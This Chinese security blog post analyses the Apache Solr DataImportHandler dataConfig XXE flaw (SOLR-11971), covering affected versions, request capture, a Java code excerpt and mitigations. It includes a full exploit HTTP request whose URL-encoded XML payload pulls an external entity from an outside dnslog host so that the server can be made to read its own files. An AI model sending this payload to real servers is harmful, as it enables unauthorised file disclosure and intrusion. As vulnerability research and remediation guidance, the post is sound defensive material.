首页 > Web安全 > Solr DIH dataConfig参数XXE漏洞
2018
07-11

Solr DIH dataConfig参数XXE漏洞

0x01 背景介绍

DataImportHandler主要用于从数据库抓取数据并创建索引,Solr搭建完毕,并将数据插入到MySQL等数据库之后,需要创建Core,并且对数据库中的数据生成索引,在生成索引的时候就会用到DIH。

在使用solr web控制台生成core索引的时候,dataConfig参数存在xxe漏洞,攻击者可以向服务端提交恶意的xml数据,利用恶意xml数据可以读取被攻击服务器的敏感文件、目录等。

漏洞影响版本:

  1. Solr 1.2 to 6.6.2
  2. Solr 7.0.0 to 7.2.1

漏洞原文链接:

https://issues.apache.org/jira/browse/SOLR-11971

http://seclists.org/oss-sec/2018/q2/22

0x02 漏洞测试

1、打开Solr Admin控制台;

2、选择创建好的core,然后点击DataImport功能;

3、点击”Execute”的时候,进行抓包,可以获取Dataimport的具体请求。

也可以直接访问功能入口Url:

http://www.nxadmin.com/solr/#/corename/dataimport

以solr 6.0.1为例,抓包获取的测试请求如下:

POST /corename/dataimport?_=1531279910257&indent=on&wt=json HTTP/1.1
Host: 61.133.214.178:9983
Content-Length: 282
Accept: application/json, text/plain, */*
Origin: http://www.nxadmin.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Content-type: application/x-www-form-urlencoded
Referer: http://www.nxadmin.com/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

command=full-import&verbose=false&clean=false&commit=false&optimize=false&core=xxetest

默认请求中是不存在漏洞参数dataConfig的,使用的是配置文件的方式data-config.xml中包含了mysql数据库的连接配置,以及需要生成索引的表的字段等信息。有关请求中非默认参数的相关代码片段:

package org.apache.solr.handler.dataimport;
......
public class RequestInfo {
  private final String command;
  private final boolean debug;  
  private final boolean syncMode;
  private final boolean commit; 
  private final boolean optimize;
  ......
  private final String configFile;
  private final String dataConfig;

  public RequestInfo(SolrQueryRequest request, Map<String,Object> requestParams, ContentStream stream) {
  
  ......
  
    String dataConfigParam = (String) requestParams.get("dataConfig");
    if (dataConfigParam != null && dataConfigParam.trim().length() == 0) {
      //如果dataConfig参数的值为空,将该参数置为null
      dataConfigParam = null;
    }
    dataConfig = dataConfigParam;
    
 ......
 
   public String getDataConfig() {
    return dataConfig;
  }
  
 ......
 
}

使用如上请求,可以自行添加dataConfig参数,因此具体的漏洞测试请求如下:

POST /corename/dataimport?_=1531279910257&indent=on&wt=json HTTP/1.1
Host: 61.133.214.178:9983
Content-Length: 282
Accept: application/json, text/plain, */*
Origin: http://www.nxadmin.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Content-type: application/x-www-form-urlencoded
Referer: http://www.nxadmin.com/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

command=full-import&verbose=false&clean=false&commit=false&optimize=false&core=xxetest&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E %3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2Fsolrxxe.8ug564.ceye.io%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E

以上是漏洞作者提供的测试payload,使用dnslog的方式证明漏洞存在,如图:

Solr DIH dataConfig参数XXE漏洞 - 第1张  | 阿德马Web安全

0x03 修复建议&缓解措施

1、升级到6.6.3或7.3版本;

2、或者将solr Admin控制台放到内网;

3、以6.0.1为例,可以为控制台增加401认证方式,6.0.1默认是没有授权认证的,匿名用户可直接访问管理控制台,需要单独配置增加401认证。在配置的时候需要注意,涉及到的主要功能请求URL都需要进行401认证,否则有可能会被攻击者直接访问功能请求来绕过401认证。

最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。

留下一个回复

你的email不会被公开。